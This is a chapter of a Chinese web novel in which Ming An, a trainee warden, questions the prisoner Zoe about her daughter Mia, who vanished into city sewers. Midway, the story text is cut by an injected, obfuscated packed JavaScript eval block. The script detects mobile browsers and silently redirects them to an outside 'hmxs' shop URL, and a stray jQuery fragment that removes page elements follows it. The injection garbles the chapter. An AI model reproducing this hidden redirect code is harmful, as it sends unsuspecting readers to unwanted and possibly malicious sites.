年轻东方女人的面容映入眼帘,佐伊怔了怔,不受控制地松懈下来。
明安用实习狱长权限打开了房门,将保温餐盒提到她桌上,“尝尝吧,听说里面有鸡肉三明治,一个叫菲尔德的朋友说味道还不错。”
佐伊却深深地看了她一眼,说:“你是我女儿的同学,我在学校见过你。”
“她失踪的前三天,有人来洗手间找她,问你她在不在这里,你说No。”
但她没有想到,再次这个和女儿一样安静内敛的女生见面,会是这种情形。
想到这里,她想起今天是工作日,心中闪过一丝困惑,但很快又打消了。
明安不禁感叹,对方莫非是侦察兵?她和米亚可不是一个院的,平常也只是匆匆偶遇过几次,这样佐伊却还是一眼认出来了,也不知道纯粹是记性好,还是把和自己女儿有交集的人全都调查了一遍。
至于对方说的洗手间,记忆里确实有这回事。
因为原主知道那群人是学校的“强者”,来找米亚的时候有些不怀好意。
原主是个很善良的人。
明安短暂地走了一下神,但很快就将自己的思绪拉回来,说了句“不用向我道谢”,毕竟也不是她本人做的。
她摘下手套向佐伊伸出了手,“你好,佐伊女士,我叫明安,东州人。”
明安没有太在意身份的暴露,毕竟重刑犯除了还没有完全结案的佐伊,基本要么是死刑要么是无期徒刑,根本就没机会从这里出去,也不会和其他人接触。
佐伊的心情变得更复杂了,也有些情理之中,毕竟东州的强大世界有目共睹。
不过现在不是思考“东州为什么跨国执法”或者“山姆国是否遭到了共产主义的入侵”之类的事的时候。她也不在乎。
佐伊深吸一口气,握了一下明安的手,“你好,你说会帮我找到我的女儿,是真的吗?”
“不保证找到,但我尽量。”明安说,她不喜欢承诺不确定的事。
佐伊沉默片刻,最终还是没有强求,她说:“如果不是你将我带来了这里,我可能已经死在了警察局,我愿意相信你。”
这么长时间过去,她心里的希望其实也所剩无几了。
明安笑了笑,示意她用餐。
佐伊这回没有再拒绝,坐到了桌子前打开了保温盒,不过她说:“其实我没事,那个会飞的机器人给我灌了一支营养液。”还打了一针医疗液,治好了她的伤。
说到这里佐伊的心情又有些复杂,东州的科技已经发展到了这个程度吗?
明安点了点头,没有太意外。
011估计给她也喝了一支,不然她现在怎么精力充沛还一点都不饿。
不过没真的吃饱还是会觉得少了点什么……
明安见她开始吃了,情绪也已经稳定下来,便开始问道:“你现在掌握了多少线索,那个目击者的证词确认可信吗?”
“我确认,他不会骗我。”
佐伊毫不犹豫地说,还从旧衣服的口袋里翻出自己的手机,虽然这里无法连接外面的信号,但做别的还是没有问题的。
她找出一张照片递给明安,“他叫沃德·达勒,是金县的前任治安官,是我的战友,是个正直的好人,从来不会撒谎,就是他告诉了我女儿的线索。”
明安若有所思地接过,看清照片上的人后却愣了一下,“是他?”
佐伊诧异,“你认识沃德?他几年前被革职了,后来银行收走了他的房子,他就成了无家可归者,我和其他朋友几次想要帮助他,可他变得沉默,不愿意再和我们见面,也拒绝了我们的接济,直到米亚出事,我才重新见到他……”
明安怎么不认识,这不就是她刚穿过来的时候看到的那个流浪汉吗?
当时可把她吓得不轻。
不过现在仔细一想,当时对方似乎没有流露出明显的恶意,和那几个犯人也不是一伙的。
而且在她解决完一切回头看的时候,人已经悄无声息地消失在了第三大街。
只不过当时她没有太放在心上。
佐伊说到这里,声音又沙哑起来,“那天我找米亚找了一天一夜,回来的时候发现他站在我家门口,可是我已经没有精力招待他了,就让他自己从冰箱里拿点东西吃。”
“可是他却看着我说:不要做无用功了,佐伊,换个城市重新生活吧。”
“那一瞬间我就确认他一定是知道了什么,我不断追问,和他大吵一架,拿刀放在脖子上说米亚就是我活着的希望!”
“他沉默了很久,终于开口告诉我:警察带走了她,她已经死了。”
明安听完后久久说不出话来。
如果沃德说的是实情,这件事定然牵涉甚广,一位治安官在其面前都显得这么无力,只能劝自己友人换个城市生活。
不过明安觉得沃德还是没有说出全部的真相,而且佐伊复述的话和媒体报道也有细微的不同。
比如媒体报道的目击证词是“警察带走了米亚的尸体”,而沃德说的却是“警察带走了她,她已经死了”。
按理来说死亡属于重点,除了爱说倒装句的人都会放在前面,尤其沃德还希望佐放弃寻找,说话的时候更应该侧重于打消她的希望,比如直接说:你女儿已经死了,不用找了。
可他偏偏不是这样说的。
明安有点怀疑这其中是否有什么因果关系,比如因为“警察带走了她”,所以“她已经死了”,没有希望了。
而且佐伊说他“正直”“不会撒谎”,如果对方的确实是这个性格,或许这就是他在不撒谎的前提下打消佐伊希望最好的表达方式。
不过这很可能是她想多了,毕竟她也不是什么专业的刑侦人员。
万一人家就爱这么说话呢?
明安没有将这个猜测对佐伊说,只将寻找对方的事加入了待办集里后,又道:“我昨天见过他,不过后来不见了,你知道他平时有可能会去什么地方吗?”
佐伊摇头,沃德是个很有自尊心的人,自从流落街头后就不愿意和朋友联系了,她尊重对方的意愿,没有去特意打听过。
明安没有太失望,又问:“其他的呢?你除了去炸警察局还做过什么?”
佐伊没有隐瞒,沉声道:“我还去了学校找霸凌过我女儿的小团体,但他们说只是在校外东北43街附近抢走她的背包扔进了下水道,之后就离开了。”
“除此之外,我还去了一趟局长穆尔的家里,但他住的社区治安太好,我没办法在那里停留太久,所以也没有得到什么收获。”
下水道……明安想起自己猝死那天晚上看的视频,顿时整个人都不好了。
而且米亚是一个爱学习的女孩子,如果那个背包里面有很多她的书籍和笔记的话,她很可能会下去捡的。
明安正要开口,这时监狱的只能监测系统响起,“检测到新的犯罪情况……正在转接司法AI……”
紧接着011的机械音就响起了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060382|195046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
【根据《东州人民共和国刑法》第二百四十五条规定,非法搜查他人身体、住宅,或者非法侵入他人住宅的,处三年以下有期徒刑或者拘役……*如情况属实,犯罪嫌疑人佐伊将重新判决量刑……】
“……”
它这不还是在加班吗?
明安沉默了一下,对佐伊说:“现在先不用管它,我们说我们的。”
她问:“米亚是在下水道里消失的吗?”
佐伊的神色黯了黯,“根据目击者描述,她确实下去之后就再也没有上来。”
下水道四通八达,里面环境复杂又没有监控,她问了一些无家可归者,他们都说没有见过米亚。
她不清楚这到底是不是实话。
明安深吸一口气,感觉很是棘手,又问了几个问题,确认没有其他遗漏之后。
她换了个话题,带着些许关心道:“佐伊,听说你在服用精神类药物,现在情况怎么样了?”
佐伊不意外她会问这个,苦笑道:“你也看了新闻是吗?是战后应激创伤综合征,但那很久以前的事了,近几年已经很少发作了,是女儿米亚治愈了我。”
那不是一场正义的战争,她回来后也没有得到褒奖。可米亚需要她。
如果不是遇见了米亚,她可能已经下地狱了。
明安微微点头,不予置评。
系统给佐伊做过检查和测评,确实没有媒体说的双相和精神分裂之类的。
她道:“米亚似乎不是你的亲生女儿?”
只要看过这对母女的照片就能很轻易的得出这个事实,因为她们的长相根本不是一个族裔,佐伊是标准的白人女性,米亚是个南美洲人,是非法移民的遗孤。
佐伊说:“但我很爱她。”
血缘不是定义人类联结的唯一因素。
明安轻轻点了点头,结束了今天的提问,“佐伊女士,你现在不适合出现在西雅图市,这段时间就在这里好好休息吧。”
佐伊笑了笑,眉眼已经恢复了一些平和,“当然,警官,我现在是危害公共安全罪和私闯民宅罪的犯罪嫌疑人。”
她也从011那里收到了属于自己的判决书,如果米亚的事没有大到能让她翻案,她将会在这里度过余生或者迎来死刑,毕竟她真的杀死了几个山姆国警察。
明安走出房门的时候,又听佐伊带着压抑的泣音道:“我一直在想,米亚有没有可能还活着,沃德也许是错的,她在等妈妈……这个愿望会不会太贪婪?”
她发现的事佐伊也发现了,并且这是她一直寻找下去的动力。
沃德的提醒起到了反作用。
明安的身形顿了顿,轻声说了句“不会”,便缓缓合上了监房的门。
她深吸一口气,感到了前所未有的挑战。
执法人员属实辛苦,面对的是一个个活生生的人,肩负着许多不为人知的期待。她已经开始不想让这个母亲失望了。
佐伊看着明安离开的方向良久,缓缓放下了手里的食物。
鸡肉三明治确实好吃,但她实在没有胃口享用。
她总是忍不住想米亚,想米亚能不能吃上新鲜的食物,能不能睡在温暖的床上。
可她同时也知道想也没有用,从来到这里的那一刻她就知道自己出不去了,这里的每一道安防措施都令她无计可施。
她现在只能安静地呆在这里,寄希望于那个东州女孩是真的想要帮助她,哪怕这是她们统治世界的一环也好。